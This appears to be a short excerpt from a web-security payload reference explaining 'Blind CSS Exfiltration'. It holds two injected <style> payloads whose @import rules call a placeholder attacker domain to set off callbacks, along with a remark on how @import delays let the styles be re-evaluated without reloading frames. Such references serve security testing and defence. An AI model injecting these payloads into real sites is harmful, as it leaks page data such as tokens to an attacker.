This technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks.
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.
